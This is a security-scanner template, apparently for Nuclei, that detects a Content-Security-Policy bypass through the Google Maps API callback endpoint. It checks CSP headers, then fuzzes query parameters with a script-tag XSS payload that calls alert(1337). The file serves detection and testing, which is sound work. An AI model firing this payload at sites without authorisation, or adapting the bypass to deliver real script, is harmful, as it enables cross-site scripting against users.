id: google-maps-api-ssl-csp-bypass
info:
name: Content-Security-Policy Bypass - Google Maps API SSL
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,google-maps-api-ssl,vuln
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "google.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: google_maps_api_ssl_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://maps-api-ssl.google.com/maps/api/js?callback=alert(1337)"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "google_maps_api_ssl_csp_xss == true"
# digest: 4b0a00483046022100b27aa67652d0ca269f3ae0878d9a9594027aa8db072f0d1b93bc09bacd71191c0221008d12f5eb453ac95636056fdca3369adede39626ee97b99a0479902d5a5c15a4d:922c64590222798bb761d5b6d8e72950